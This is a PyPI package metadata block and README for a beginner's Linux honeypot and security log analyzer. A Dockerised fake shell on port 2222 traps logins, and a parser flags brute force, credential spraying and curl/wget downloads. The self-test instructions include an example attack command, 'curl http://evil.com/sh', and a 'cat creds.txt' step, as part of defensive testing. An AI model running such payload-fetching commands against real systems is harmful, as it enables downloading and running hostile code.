Metadata-Version: 2.5
Name: xoter-security-log-analyzer
Version: 0.1.0
Summary: Linux Security Log Analyzer & Deception Honeypot
Author: Mohammad Juned Malik
Classifier: Operating System :: POSIX :: Linux
Classifier: Programming Language :: Python :: 3
Classifier: Topic :: Security
Requires-Python: >=3.9
Description-Content-Type: text/markdown


### This is my first project in Cybersecurity and that i have pushed it on git hub 
# PLease ignore if any English Grammar mistake or spelling arises in Readme.md 

### If anytone has only basic knowledge of python , they can understand this code easily as i didn't use high/level like algorithms, ..etc , mostly used lists, set, dictionary , strings ..etc , modules and their built-in-functions like .strip(), .get() .. etc , 

###  if any errors/bugs arises contact me and if there is any need of upgrade in this project suggest me . 

### So let's start my project description,

# Security Log Analyzer & Deception Honeypot



this project combines  honeypot where it acts an bait and traps the attacker in a fake shell and analyzer that watches , checks and pulls the attacks and generate an report based on it . here is how it get it done simple and safe :

1. The Trap ('fake.py' in Docker) : it listen on port 2222 pretending to be an ubuntu server. 
2. The Sandbox ('Dockerfile') : Runs the honeypot inside a docker container , so my actual system remain same.
3. The Watcher ('parser.py') : it reads the logs in real time, classifies IP origins (local, private intranet, or external country via Geo-IP), triggers detection rules, flags malware downloads('curl','wget') and writes an report ('report.txt').

## What I have built so far : 

- Fake shell : traps attackers and logs their keystrokes and shell commands.

- Rules : Detects brute force ('Auth-001'), targeted probing (Auth-002), successfull breaches after failure (Auth-003), and Credentials spraying (Auth-004).

- Geo-IP threat intel : it tells me if an attack is localhost test, internally or externally. 

- Live Stream Monitor ('-w') : streams attacks and live it to my terminal whenever they happen.

- Dual log Parser : it reads modern JSON logs ('auth.json') as well as traditional logs ('auth.log')

## Files so far 

- 'fake.py' : the tcp honeypot server and the ubuntu shell trap.

- 'parser.py' : The  analyzer, threat intel enricher , and real-time alert monitor.

- 'Dockerfile' & 'docker-compose.yml' : Sandboxes the honeypot and shares logs with the host.

- 'auth.json' : Structured logs data where it stores every connection, password and shell. 

- 'auth.log' : Sample linux syslog file to test regex parsing.

- 'report.txt' : Generated  report with timelines, risk scores, and evidence. 

- 'honeypot_capture.pcap' : Raw wireshark packet capture proving what crossed the wire on port 2222.

- 'test_parser.py' : checking the detections rules work without any problem with automated unit test 


# What you need

-Linux
-Docker & Docker Compose
-'nc' (netcat) to test


## How to run it ! (Write all the commands in the terminal )

### In Terminal 1 - Start the honeypot and the watcher :



docker compose up -d --build 
or
sudo docker compose up -d --build 

python3 parser.py -f auth.json -w

### In another Terminal / Terminal 2 - Attack your honeypot :

nc 127.0.0.1 2222
or 
telnet localhost 2222

try writing wrong passwords 
or 
try it with user: admin , password: password123 , once inside write these commands whoami, ls , cat creds.txt , curl http://evil.com/sh and then watch terminal 1 starts alerts in real time ! 

### To run the automated tests :

python3 -m unittest test_parser.py 

### Package Installation (pip / pipx) :

You can also install this project as a command line tool on your machine:

```bash
# Install package locally
pip install .
# Or using pipx
pipx install .

# Run the command from anywhere
security-log-analyzer -f auth.json -w
```


## Where is it stands now 
this is in an early stage it's not like an full fledged working SIEM but it works , it's safe inside a Docker.

## here this is my first time writing a readme of an project and i tried my level best to explain breifly what every function and modules does in the code . 
